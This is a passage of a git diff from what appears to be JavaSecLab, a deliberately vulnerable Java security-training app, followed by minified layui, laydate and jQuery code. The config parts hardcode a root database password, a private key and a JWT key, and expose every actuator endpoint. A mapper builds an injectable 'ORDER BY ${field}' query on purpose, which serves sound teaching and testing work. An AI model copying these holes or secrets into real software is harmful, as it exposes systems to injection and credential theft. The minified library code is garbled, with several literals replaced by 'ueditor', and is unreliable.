jdbc:mysql://mysql:3306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + username: root + password: QWE123qwe + druid: + initial-size: 5 + min-idle: 5 + max-active: 20 + max-wait: 30000 + validation-query: SELECT 1 FROM DUAL + test-while-idle: true + time-between-eviction-runs-millis: 60000 + min-evictable-idle-time-millis: 300000 + pool-prepared-statements: true + max-pool-prepared-statement-per-connection-size: 20 + log-abandoned: true + remove-abandoned: true + secondary: + type: com.alibaba.druid.pool.DruidDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://mysql:3306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + username: root + password: QWE123qwe + druid: + initial-size: 5 + min-idle: 5 + max-active: 20 + max-wait: 30000 + validation-query: SELECT 1 FROM DUAL + test-while-idle: true + time-between-eviction-runs-millis: 60000 + min-evictable-idle-time-millis: 300000 + pool-prepared-statements: true + max-pool-prepared-statement-per-connection-size: 20 + log-abandoned: true + remove-abandoned: true jpa: - hibernate: - ddl-auto: none - database: mysql database-platform: org.hibernate.dialect.MySQLDialect - show-sql: true \ No newline at end of file + show-sql: true + hibernate: + ddl-auto: update + properties: + hibernate: + format_sql: true + session_factory_name: sessionFactory + session_factory_name_is_jndi: false + current_session_context_class: thread + transaction: + auto_close_session: true + connection: + provider_disables_autocommit: true + generate_statistics: true + jdbc: + time_zone: UTC + session: + events: + log: + LOG_QUERIES_SLOWER_THAN_MS: 0 + flush_mode: AUTO + default_schema: JavaSecLab + default_catalog: JavaSecLab + +logging: + level: + root: INFO # 默认日志级别 + com.alibaba.druid.pool: DEBUG # 启用 Druid 的 DEBUG 日志(排查数据库连接池问题时启用) + org.hibernate.SQL: DEBUG # 启用 Hibernate SQL 日志 + org.hibernate.type.descriptor.sql.BasicBinder: TRACE # 启用 Hibernate 参数绑定日志 \ No newline at end of file diff --git a/src/main/resources/application.yml b/src/main/resources/application.yml index 2b612c5..facdf93 100755 --- a/src/main/resources/application.yml +++ b/src/main/resources/application.yml @@ -5,6 +5,8 @@ spring: # 环境 dev|docker profiles: active: docker + main: + allow-bean-definition-overriding: true thymeleaf: mode: LEGACYHTML5 #模板类型 cache: false #缓存 @@ -13,10 +15,7 @@ spring: suffix: .html mvc: pathmatch: - matching-strategy: ant_path_matcher #解决swaggerUI不匹配接口 -# view: # 设置JSP视图的前缀和后缀 -# prefix: /WEB-INF/jsp/ -# suffix: .jsp + matching-strategy: ANT_PATH_MATCHER #解决swaggerUI不匹配接口 swagger: enable: true @@ -41,6 +40,7 @@ management: web: exposure: include: '*' + exclude: base-path: /sys/actuator logging: @@ -49,12 +49,18 @@ logging: # mybaits-plus配置 mybatis-plus: configuration: + map-underscore-to-camel-case: true log-impl: org.apache.ibatis.logging.stdout.StdOutImpl # MyBatis Mapper所对应的XML文件位置 - mapper-locations: /mapper/**/*Mapper.xml + mapper-locations: classpath*:/mapper/**/*.xml global-config: # 关闭MP3.0自带的banner banner: false + db-config: + logic-delete-field: deleted + logic-delete-value: 1 + logic-not-delete-value: 0 + type-aliases-package: top.whgojp.modules.*.entity folder: upload: /tmp/upload @@ -89,4 +95,9 @@ J2FhZOq2OdVaWGKwW9BEcnx1QjMSZgciYR9anFyX4haMlDUdSBQYt0FwfRFfzARd hGUahXhPvN1OkI+772dFhjpQYxf02oKrdW/pNrTAoYyE9tCUUeZngUZ6SkN+TlJa ouK1o4xnmMD2YhHhzmxyn8wlLB8KopMzCQ8WaooivlJbyXQVp6bq9UFaeQW0NtIB tzMFGyiO+DvR4pO52uQLEBU= ------END PRIVATE KEY-----" \ No newline at end of file +-----END PRIVATE KEY-----" + +jwt: + key: f3a4c6d5b9bfeff28b1f529b0840134bcd4183474e2d4a97c05615a134e4f4da + +#debug: true \ No newline at end of file diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt index cf6c02b..79d4bf5 100755 --- a/src/main/resources/banner.txt +++ b/src/main/resources/banner.txt @@ -1,5 +1,8 @@ ==================================================================================================================== - - Powered By whgojp + __ _____ __ __ + / /___ __ ______ _/ ___/___ _____/ / ____ _/ /_ + __ / / __ `/ | / / __ `/\__ \/ _ \/ ___/ / / __ `/ __ \ + / /_/ / /_/ /| |/ / /_/ /___/ / __/ /__/ /___/ /_/ / /_/ / + \____/\__,_/ |___/\__,_//____/\___/\___/_____/\__,_/_.___/ ==================================================================================================================== \ No newline at end of file diff --git a/src/main/resources/mapper/LogMapper.xml b/src/main/resources/mapper/LogMapper.xml deleted file mode 100644 index 165a1b1..0000000 --- a/src/main/resources/mapper/LogMapper.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - - - - - - - - - - - - logId,username,optionName, - optionTerminal,optionIp,optionTime - - diff --git a/src/main/resources/mapper/SqliMapper.xml b/src/main/resources/mapper/SqliMapper.xml index b27d600..a977910 100644 --- a/src/main/resources/mapper/SqliMapper.xml +++ b/src/main/resources/mapper/SqliMapper.xml @@ -14,8 +14,8 @@ id,username,password insert into sqli (id,username,password) values (#{id,jdbcType=INTEGER},#{username,jdbcType=VARCHAR},#{password,jdbcType=VARCHAR}) @@ -33,7 +33,7 @@ - + - + - + \n" + " SELECT * FROM sqli\n" + " \n" + " ORDER BY ${field}\n" + " \n" + "\n" + - "\n" + + "\n" + "\n" + - "\n" + + "\n" + "'];return layui.each(a.limits,function(t,n){e.push('")}),e.join("")+""}(),refresh:['','',""].join(""),skip:function(){return['到第','','页',""].join("")}()};return['
    ',function(){var e=[];return layui.each(a.layout,function(a,t){i[t]&&e.push(i[t])}),e.join("")}(),"
    "].join("")},u.prototype.jump=function(e,a){if(e){var t=this,i=t.config,r=e.children,u=e[n]("button")[0],l=e[n]("input")[0],p=e[n]("select")[0],c=function(){var e=0|l.value.replace(/\s|\D/g,"");e&&(i.curr=e,t.render())};if(a)return c();for(var o=0,y=r.length;oi.pages||(i.curr=e,t.render())});p&&s.on(p,"change",function(){var e=this.value;i.curr*e>i.count&&(i.curr=Math.ceil(i.count/e)),i.limit=e,t.render()}),u&&s.on(u,"click",function(){c()})}},u.prototype.skip=function(e){if(e){var a=this,t=e[n]("input")[0];t&&s.on(t,"keyup",function(t){var n=this.value,i=t.keyCode;/^(37|38|39|40)$/.test(i)||(/\D/.test(n)&&(this.value=n.replace(/\D/,"")),13===i&&a.jump(e,!0))})}},u.prototype.render=function(e){var n=this,i=n.config,r=n.type(),u=n.view();2===r?i.elem&&(i.elem.innerHTML=u):3===r?i.elem.html(u):a[t](i.elem)&&(a[t](i.elem).innerHTML=u),i.jump&&i.jump(i,e);var s=a[t]("layui-laypage-"+i.index);n.jump(s),i.hash&&!e&&(location.hash="!"+i.hash+"="+i.curr),n.skip(s)};var s={render:function(e){var a=new u(e);return a.index},index:layui.laypage?layui.laypage.index+1e4:0,on:function(e,a,t){return e.attachEvent?e.attachEvent("on"+a,function(a){a.target=a.srcElement,t.call(e,a)}):e.addEventListener(a,t,!1),this}};e(i,s)});!function(e){"use strict";var t=e.layui&&layui.define,a={getPath:e.lay&&lay.getPath?lay.getPath():"",link:function(t,a,l){n.path&&e.lay&&lay.link&&lay.link(n.path+t,a,l)}},n={v:"5.2.ueditor",config:{},index:e.laydate&&e.laydate.v?1e5:0,path:a.getPath,set:function(e){var t=this;return t.config=lay.extend({},t.config,e),t},ready:function(e){var l="laydate",i="",r=(t?"modules/laydate/":"theme/")+"default/laydate.css?v="+n.v+i;return t?layui.addcss(r,e,l):a.link(r,e,l),this}},l=function(){var e=this;return{hint:function(t){e.hint.call(e,t)},config:e.config}},i="laydate",r=".layui-laydate",o="layui-this",s="laydate-disabled",y=[100,2e5],d="layui-laydate-static",m="layui-laydate-list",c="laydate-selected",u="layui-laydate-hint",h="layui-laydate-footer",f=".laydate-btns-confirm",p="laydate-time-text",g=".laydate-btns-time",v=function(e){var t=this;t.index=++n.index,t.config=lay.extend({},t.config,n.config,e),n.ready(function(){t.init()})};v.isLeapYear=function(e){return e%4===0&&e%100!==0||e%400===0},v.prototype.config={type:"date",range:!1,format:"yyyy-MM-dd",value:null,isInitValue:!0,min:"1900-ueditor-ueditor",max:"2099-12-31",trigger:"click",show:!1,showBottom:!0,btns:["clear","now","confirm"],lang:"cn",theme:"default",position:null,calendar:!1,mark:{},zIndex:null,done:null,change:null},v.prototype.lang=function(){var e=this,t=e.config,a={cn:{weeks:["日","一","二","三","四","五","六"],time:["时","分","秒"],timeTips:"选择时间",startTime:"开始时间",endTime:"结束时间",dateTips:"返回日期",month:["一","二","三","四","五","六","七","八","九","十","十一","十二"],tools:{confirm:"确定",clear:"清空",now:"现在"},timeout:"结束时间不能早于开始时间
    请重新选择",invalidDate:"不在有效日期或时间范围内",formatError:["日期格式不合法
    必须遵循下述格式:
    ","
    已为你重置"]},en:{weeks:["Su","Mo","Tu","We","Th","Fr","Sa"],time:["Hours","Minutes","Seconds"],timeTips:"Select Time",startTime:"Start Time",endTime:"End Time",dateTips:"Select Date",month:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],tools:{confirm:"Confirm",clear:"Clear",now:"Now"},timeout:"End time cannot be less than start Time
    Please re-select",invalidDate:"Invalid date",formatError:["The date format error
    Must be followed:
    ","
    It has been reset"]}};return a[t.lang]||a.cn},v.prototype.init=function(){var t=this,a=t.config,n="yyyy|y|MM|M|dd|d|HH|H|mm|m|ss|s",l="static"===a.position,i={year:"yyyy",month:"yyyy-MM",date:"yyyy-MM-dd",time:"HH:mm:ss",datetime:"yyyy-MM-dd HH:mm:ss"};a.elem=lay(a.elem),a.eventElem=lay(a.eventElem),a.elem[0]&&(a.range===!0&&(a.range="-"),i[a.type]||(e.console&&console.error&&console.error("laydate type error:'"+a.type+"' is not supported"),a.type="date"),a.format===i.date&&(a.format=i[a.type]||i.date),t.format=a.format.match(new RegExp(n+"|.","g"))||[],t.EXP_IF="",t.EXP_SPLIT="",lay.each(t.format,function(e,a){var l=new RegExp(n).test(a)?"\\d{"+function(){return new RegExp(n).test(t.format[0===e?e+1:e-1]||"")?/^yyyy|y$/.test(a)?4:a.length:/^yyyy$/.test(a)?"ueditor,4":/^y$/.test(a)?"ueditor,308":"ueditor,2"}()+"}":"\\"+a;t.EXP_IF=t.EXP_IF+l,t.EXP_SPLIT=t.EXP_SPLIT+"("+l+")"}),t.EXP_IF=new RegExp("^"+(a.range?t.EXP_IF+"\\s\\"+a.range+"\\s"+t.EXP_IF:t.EXP_IF)+"$"),t.EXP_SPLIT=new RegExp("^"+t.EXP_SPLIT+"$",""),t.isInput(a.elem[0])||"focus"===a.trigger&&(a.trigger="click"),a.elem.attr("lay-key")||(a.elem.attr("lay-key",t.index),a.eventElem.attr("lay-key",t.index)),a.mark=lay.extend({},a.calendar&&"cn"===a.lang?{"0-1-1":"元旦","0-2-14":"情人","0-3-8":"妇女","0-3-12":"植树","0-4-1":"愚人","0-5-1":"劳动","0-5-4":"青年","0-6-1":"儿童","0-9-10":"教师","0-9-18":"国耻","0-10-1":"国庆","0-12-25":"圣诞"}:{},a.mark),lay.each(["min","max"],function(e,t){var n=[],l=[];if("number"==typeof a[t]){var i=a[t],r=(new Date).getTime(),o=864e5,s=new Date(i?i0)return!0;var n=lay.elem("div",{"class":"layui-laydate-header"}),l=[function(){var e=lay.elem("i",{"class":"layui-icon laydate-icon laydate-prev-y"});return e.innerHTML="",e}(),function(){var e=lay.elem("i",{"class":"layui-icon laydate-icon laydate-prev-m"});return e.innerHTML="",e}(),function(){var e=lay.elem("div",{"class":"laydate-set-ym"}),t=lay.elem("span"),a=lay.elem("span");return e.appendChild(t),e.appendChild(a),e}(),function(){var e=lay.elem("i",{"class":"layui-icon laydate-icon laydate-next-m"});return e.innerHTML="",e}(),function(){var e=lay.elem("i",{"class":"layui-icon laydate-icon laydate-next-y"});return e.innerHTML="",e}()],y=lay.elem("div",{"class":"layui-laydate-content"}),d=lay.elem("table"),m=lay.elem("thead"),c=lay.elem("tr");lay.each(l,function(e,t){n.appendChild(t)}),m.appendChild(c),lay.each(new Array(6),function(e){var t=d.insertRow(0);lay.each(new Array(7),function(n){if(0===e){var l=lay.elem("th");l.innerHTML=a.weeks[n],c.appendChild(l)}t.insertCell(n)})}),d.insertBefore(m,d.children[0]),y.appendChild(d),i[e]=lay.elem("div",{"class":"layui-laydate-main laydate-main-list-"+e}),i[e].appendChild(n),i[e].appendChild(y),r.push(l),o.push(y),s.push(d)}),lay(y).html(function(){var e=[],l=[];return"datetime"===t.type&&e.push(''+a.timeTips+""),lay.each(t.btns,function(e,i){var r=a.tools[i]||"btn";t.range&&"now"===i||(n&&"clear"===i&&(r="cn"===t.lang?"重置":"Reset"),l.push(''+r+""))}),e.push('"),e.join("")}()),lay.each(i,function(e,t){l.appendChild(t)}),t.showBottom&&l.appendChild(y),/^#/.test(t.theme)){var m=lay.elem("style"),c=["#{{id}} .layui-laydate-header{background-color:{{theme}};}","#{{id}} .layui-this{background-color:{{theme}} !important;}"].join("").replace(/{{id}}/g,e.elemID).replace(/{{theme}}/g,t.theme);"styleSheet"in m?(m.setAttribute("type","text/css"),m.styleSheet.cssText=c):m.innerHTML=c,lay(l).addClass("laydate-theme-molv"),l.appendChild(m)}e.remove(v.thisElemDate),n?t.elem.append(l):(document.body.appendChild(l),e.position()),e.checkDate().calendar(null,0,"init"),e.changeEvent(),v.thisElemDate=e.elemID,"function"==typeof t.ready&&t.ready(lay.extend({},t.dateTime,{month:t.dateTime.month+1}))},v.prototype.remove=function(e){var t=this,a=(t.config,lay("#"+(e||t.elemID)));return a[0]?(a.hasClass(d)||t.checkDate(function(){a.remove(),delete t.endDate}),t):t},v.prototype.position=function(){var e=this,t=e.config;return lay.position(e.bindElem||t.elem[0],e.elem,{position:t.position}),e},v.prototype.hint=function(e){var t=this,a=(t.config,lay.elem("div",{"class":u}));t.elem&&(a.innerHTML=e||"",lay(t.elem).find("."+u).remove(),t.elem.appendChild(a),clearTimeout(t.hinTimer),t.hinTimer=setTimeout(function(){lay(t.elem).find("."+u).remove()},3e3))},v.prototype.getAsYM=function(e,t,a){return a?t--:t++,t<0&&(t=11,e--),t>11&&(t=0,e++),[e,t]},v.prototype.systemDate=function(e){var t=e||new Date;return{year:t.getFullYear(),month:t.getMonth(),date:t.getDate(),hours:e?e.getHours():0,minutes:e?e.getMinutes():0,seconds:e?e.getSeconds():0}},v.prototype.checkDate=function(e){var t,a,l=this,i=(new Date,l.config),r=l.lang(),o=i.dateTime=i.dateTime||l.systemDate(),s=l.bindElem||i.elem[0],d=(l.isInput(s)?"val":"html",l.isInput(s)?s.value:"static"===i.position?"":s.innerHTML),m=function(e){e.year>y[1]&&(e.year=y[1],a=!0),e.month>11&&(e.month=11,a=!0),e.hours>23&&(e.hours=0,a=!0),e.minutes>59&&(e.minutes=0,e.hours++,a=!0),e.seconds>59&&(e.seconds=0,e.minutes++,a=!0),t=n.getEndDate(e.month+1,e.year),e.date>t&&(e.date=t,a=!0)},c=function(e,t,n){var r=["startTime","endTime"];t=(t.match(l.EXP_SPLIT)||[]).slice(1),n=n||0,i.range&&(l[r[n]]=l[r[n]]||{}),lay.each(l.format,function(o,s){var d=parseFloat(t[o]);t[o].length'+a+""),n},v.prototype.limit=function(e,t,a,n){var l,i=this,r=i.config,o={},y=r[a>41?"endDate":"dateTime"],d=lay.extend({},y,t||{});return lay.each({now:d,min:r.min,max:r.max},function(e,t){o[e]=i.newDate(lay.extend({year:t.year,month:t.month,date:t.date},function(){var e={};return lay.each(n,function(a,n){e[n]=t[n]}),e}())).getTime()}),l=o.nowo.max,e&&e[l?"addClass":"removeClass"](s),l},v.prototype.thisDateTime=function(e){var t=this,a=t.config;return e?t.endDate:a.dateTime},v.prototype.calendar=function(e,t,a){var l,i,r,s=this,d=s.config,t=t?1:0,m=e||s.thisDateTime(t),c=new Date,u=s.lang(),h="date"!==d.type&&"datetime"!==d.type,p=lay(s.table[t]).find("td"),g=lay(s.elemHeader[t][2]).find("span");return m.yeary[1]&&(m.year=y[1],s.hint(u.invalidDate)),s.firstDate||(s.firstDate=lay.extend({},m)),c.setFullYear(m.year,m.month,1),l=c.getDay(),i=n.getEndDate(m.month||12,m.year),r=n.getEndDate(m.month+1,m.year),lay.each(p,function(e,t){var a=[m.year,m.month],n=0;t=lay(t),t.removeAttr("class"),e=l&&e=a.firstDate.year&&(i.month=n.max.month,i.date=n.max.date),a.limit(lay(l),i,t),C++}),lay(c[v?0:1]).attr("lay-ym",C-8+"-"+D[1]).html(w+T+" - "+(C-1+T))}else if("month"===e)lay.each(new Array(12),function(e){var l=lay.elem("li",{"lay-ym":e}),r={year:D[0],month:e};e+1==D[1]&&lay(l).addClass(o),l.innerHTML=i.month[e]+(v?"月":""),y.appendChild(l),D[0]=a.firstDate.year&&(r.date=n.max.date),a.limit(lay(l),r,t)}),lay(c[v?0:1]).attr("lay-ym",D[0]+"-"+D[1]).html(D[0]+T);else if("time"===e){var k=function(){lay(y).find("ol").each(function(e,n){lay(n).find("li").each(function(n,l){a.limit(lay(l),[{hours:n},{hours:a[x].hours,minutes:n},{hours:a[x].hours,minutes:a[x].minutes,seconds:n}][e],t,[["hours"],["hours","minutes"],["hours","minutes","seconds"]][e])})}),n.range||a.limit(lay(a.footer).find(f),a[x],0,["hours","minutes","seconds"])};n.range?a[x]||(a[x]={hours:0,minutes:0,seconds:0}):a[x]=l,lay.each([24,60,60],function(e,t){var n=lay.elem("li"),l=["

    "+i.time[e]+"

      "];lay.each(new Array(t),function(t){l.push(""+lay.digit(t,2)+"")}),n.innerHTML=l.join("")+"
    ",y.appendChild(n)}),k()}if(h&&u.removeChild(h),u.appendChild(y),"year"===e||"month"===e)lay(a.elemMain[t]).addClass("laydate-ym-show"),lay(y).find("li").on("click",function(){var i=0|lay(this).attr("lay-ym");if(!lay(this).hasClass(s)){0===t?(l[e]=i,a.limit(lay(a.footer).find(f),null,0)):a.endDate[e]=i;var d="year"===n.type||"month"===n.type;d?(lay(y).find("."+o).removeClass(o),lay(this).addClass(o),"month"===n.type&&"year"===e&&(a.listYM[t][0]=i,r&&(t?l.year=i:a.endDate.year=i),a.list("month",t))):(a.checkDate("limit").calendar(null,t),a.closeList()),a.setBtnStatus(),n.range||(("month"===n.type&&"month"===e||"year"===n.type&&"year"===e)&&a.setValue(a.parse()).remove().done(),a.done(null,"change")),lay(a.footer).find(g).removeClass(s)}});else{var E=lay.elem("span",{"class":p}),b=function(){lay(y).find("ol").each(function(e){var t=this,n=lay(t).find("li");t.scrollTop=30*(a[x][M[e]]-2),t.scrollTop<=0&&n.each(function(e,a){if(!lay(this).hasClass(s))return t.scrollTop=30*(e-2),!0})})},H=lay(d[2]).find("."+p);b(),E.innerHTML=n.range?[i.startTime,i.endTime][t]:i.timeTips,lay(a.elemMain[t]).addClass("laydate-time-show"),H[0]&&H.remove(),d[2].appendChild(E),lay(y).find("ol").each(function(e){var t=this;lay(t).find("li").on("click",function(){var i=0|this.innerHTML;lay(this).hasClass(s)||(n.range?a[x][M[e]]=i:l[M[e]]=i,lay(t).find("."+o).removeClass(o),lay(this).addClass(o),k(),b(),(a.endDate||"time"===n.type)&&a.done(null,"change"),a.setBtnStatus())})})}return a},v.prototype.listYM=[],v.prototype.closeList=function(){var e=this;e.config;lay.each(e.elemCont,function(t,a){lay(this).find("."+m).remove(),lay(e.elemMain[t]).removeClass("laydate-ym-show laydate-time-show")}),lay(e.elem).find("."+p).remove()},v.prototype.setBtnStatus=function(e,t,a){var n,l=this,i=l.config,r=l.lang(),o=lay(l.footer).find(f);i.range&&"time"!==i.type&&(t=t||i.dateTime,a=a||l.endDate,n=l.newDate(t).getTime()>l.newDate(a).getTime(),l.limit(null,t)||l.limit(null,a)?o.addClass(s):o[n?"addClass":"removeClass"](s),e&&n&&l.hint("string"==typeof e?r.timeout.replace(/日期/g,e):r.timeout))},v.prototype.parse=function(e,t){var a=this,n=a.config,l=t||(e?lay.extend({},a.endDate,a.endTime):n.range?lay.extend({},n.dateTime,a.startTime):n.dateTime),i=a.format.concat();return lay.each(i,function(e,t){/yyyy|y/.test(t)?i[e]=lay.digit(l.year,t.length):/MM|M/.test(t)?i[e]=lay.digit(l.month+1,t.length):/dd|d/.test(t)?i[e]=lay.digit(l.date,t.length):/HH|H/.test(t)?i[e]=lay.digit(l.hours,t.length):/mm|m/.test(t)?i[e]=lay.digit(l.minutes,t.length):/ss|s/.test(t)&&(i[e]=lay.digit(l.seconds,t.length))}),n.range&&!e?i.join("")+" "+n.range+" "+a.parse(1):i.join("")},v.prototype.newDate=function(e){return e=e||{},new Date(e.year||1,e.month||0,e.date||1,e.hours||0,e.minutes||0,e.seconds||0)},v.prototype.setValue=function(e){var t=this,a=t.config,n=t.bindElem||a.elem[0],l=t.isInput(n)?"val":"html";return"static"===a.position||lay(n)[l](e||""),this},v.prototype.stampRange=function(e,t){var a,n,l=this,i=l.config;i.range&&(a=l.newDate(i.dateTime).getTime(),n=l.newDate(l.endDate).getTime(),lay.each(t,function(t,i){var r=lay(i).attr("lay-ymd").split("-"),o=l.newDate({year:r[0],month:r[1]-1,date:r[2]}).getTime();0==e?o>a&&lay(i).addClass(c):o0&&t-1 in e)}function r(e,t,n){if(pe.isFunction(t))return pe.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return pe.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(Ce.test(t))return pe.filter(t,e,n);t=pe.filter(t,e)}return pe.grep(e,function(e){return pe.inArray(e,t)>-1!==n})}function i(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}function o(e){var t={};return pe.each(e.match(De)||[],function(e,n){t[n]=!0}),t}function a(){re.addEventListener?(re.removeEventListener("DOMContentLoaded",s),e.removeEventListener("load",s)):(re.detachEvent("onreadystatechange",s),e.detachEvent("onload",s))}function s(){(re.addEventListener||"load"===e.event.type||"complete"===re.readyState)&&(a(),pe.ready())}function u(e,t,n){if(void 0===n&&1===e.nodeType){var r="data-"+t.replace(_e,"-$ueditor").toLowerCase();if(n=e.getAttribute(r),"string"==typeof n){try{n="true"===n||"false"!==n&&("null"===n?null:+n+""===n?+n:qe.test(n)?pe.parseJSON(n):n)}catch(i){}pe.data(e,t,n)}else n=void 0}return n}function l(e){var t;for(t in e)if(("data"!==t||!pe.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}function c(e,t,n,r){if(He(e)){var i,o,a=pe.expando,s=e.nodeType,u=s?pe.cache:e,l=s?e[a]:e[a]&&a;if(l&&u[l]&&(r||u[l].data)||void 0!==n||"string"!=typeof t)return l||(l=s?e[a]=ne.pop()||pe.guid++:a),u[l]||(u[l]=s?{}:{toJSON:pe.noop}),"object"!=typeof t&&"function"!=typeof t||(r?u[l]=pe.extend(u[l],t):u[l].data=pe.extend(u[l].data,t)),o=u[l],r||(o.data||(o.data={}),o=o.data),void 0!==n&&(o[pe.camelCase(t)]=n),"string"==typeof t?(i=o[t],null==i&&(i=o[pe.camelCase(t)])):i=o,i}}function f(e,t,n){if(He(e)){var r,i,o=e.nodeType,a=o?pe.cache:e,s=o?e[pe.expando]:pe.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){pe.isArray(t)?t=t.concat(pe.map(t,pe.camelCase)):t in r?t=[t]:(t=pe.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;for(;i--;)delete r[t[i]];if(n?!l(r):!pe.isEmptyObject(r))return}(n||(delete a[s].data,l(a[s])))&&(o?pe.cleanData([e],!0):fe.deleteExpando||a!=a.window?delete a[s]:a[s]=void 0)}}}function d(e,t,n,r){var i,o=1,a=20,s=r?function(){return r.cur()}:function(){return pe.css(e,t,"")},u=s(),l=n&&n[3]||(pe.cssNumber[t]?"":"px"),c=(pe.cssNumber[t]||"px"!==l&&+u)&&Me.exec(pe.css(e,t));if(c&&c[3]!==l){l=l||c[3],n=n||[],c=+u||1;do o=o||".5",c/=o,pe.style(e,t,c+l);while(o!==(o=s()/u)&&1!==o&&--a)}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}function p(e){var t=ze.split("|"),n=e.createDocumentFragment();if(n.createElement)for(;t.length;)n.createElement(t.pop());return n}function h(e,t){var n,r,i=0,o="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):void 0;if(!o)for(o=[],n=e.childNodes||e;null!=(r=n[i]);i++)!t||pe.nodeName(r,t)?o.push(r):pe.merge(o,h(r,t));return void 0===t||t&&pe.nodeName(e,t)?pe.merge([e],o):o}function g(e,t){for(var n,r=0;null!=(n=e[r]);r++)pe._data(n,"globalEval",!t||pe._data(t[r],"globalEval"))}function m(e){Be.test(e.type)&&(e.defaultChecked=e.checked)}function y(e,t,n,r,i){for(var o,a,s,u,l,c,f,d=e.length,y=p(t),v=[],x=0;x"!==f[1]||Ve.test(a)?0:u:u.firstChild,o=a&&a.childNodes.length;o--;)pe.nodeName(c=a.childNodes[o],"tbody")&&!c.childNodes.length&&a.removeChild(c);for(pe.merge(v,u.childNodes),u.textContent="";u.firstChild;)u.removeChild(u.firstChild);u=y.lastChild}else v.push(t.createTextNode(a));for(u&&y.removeChild(u),fe.appendChecked||pe.grep(h(v,"input"),m),x=0;a=v[x++];)if(r&&pe.inArray(a,r)>-1)i&&i.push(a);else if(s=pe.contains(a.ownerDocument,a),u=h(y.appendChild(a),"script"),s&&g(u),n)for(o=0;a=u[o++];)Ie.test(a.type||"")&&n.push(a);return u=null,y}function v(){return!0}function x(){return!1}function b(){try{return re.activeElement}catch(e){}}function w(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)w(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),i===!1)i=x;else if(!i)return e;return 1===o&&(a=i,i=function(e){return pe().off(e),a.apply(this,arguments)},i.guid=a.guid||(a.guid=pe.guid++)),e.each(function(){pe.event.add(this,t,i,r,n)})}function T(e,t){return pe.nodeName(e,"table")&&pe.nodeName(11!==t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function C(e){return e.type=(null!==pe.find.attr(e,"type"))+"/"+e.type,e}function E(e){var t=it.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function N(e,t){if(1===t.nodeType&&pe.hasData(e)){var n,r,i,o=pe._data(e),a=pe._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;r1&&"string"==typeof p&&!fe.checkClone&&rt.test(p))return e.each(function(i){var o=e.eq(i);g&&(t[0]=p.call(this,i,o.html())),S(o,t,n,r)});if(f&&(l=y(t,e[0].ownerDocument,!1,e,r),i=l.firstChild,1===l.childNodes.length&&(l=i),i||r)){for(s=pe.map(h(l,"script"),C),a=s.length;c")).appendTo(t.documentElement),t=(ut[0].contentWindow||ut[0].contentDocument).document,t.write(),t.close(),n=D(e,t),ut.detach()),lt[e]=n),n}function L(e,t){return{get:function(){return e()?void delete this.get:(this.get=t).apply(this,arguments)}}}function H(e){if(e in Et)return e;for(var t=e.charAt(0).toUpperCase()+e.slice(1),n=Ct.length;n--;)if(e=Ct[n]+t,e in Et)return e}function q(e,t){for(var n,r,i,o=[],a=0,s=e.length;a=0&&n=0},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},isPlainObject:function(e){var t;if(!e||"object"!==pe.type(e)||e.nodeType||pe.isWindow(e))return!1;try{if(e.constructor&&!ce.call(e,"constructor")&&!ce.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}if(!fe.ownFirst)for(t in e)return ce.call(e,t);for(t in e);return void 0===t||ce.call(e,t)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?ue[le.call(e)]||"object":typeof e},globalEval:function(t){t&&pe.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(ge,"ms-").replace(me,ye)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t){var r,i=0;if(n(e))for(r=e.length;iT.cacheLength&&delete e[t.shift()],e[n+" "]=r}var t=[];return e}function r(e){return e[P]=!0,e}function i(e){var t=H.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function o(e,t){for(var n=e.split("|"),r=n.length;r--;)T.attrHandle[n[r]]=t}function a(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||V)-(~e.sourceIndex||V);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function s(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function u(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function l(e){return r(function(t){return t=+t,r(function(n,r){for(var i,o=e([],n.length,t),a=o.length;a--;)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function c(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}function f(){}function d(e){for(var t=0,n=e.length,r="";t1?function(t,n,r){for(var 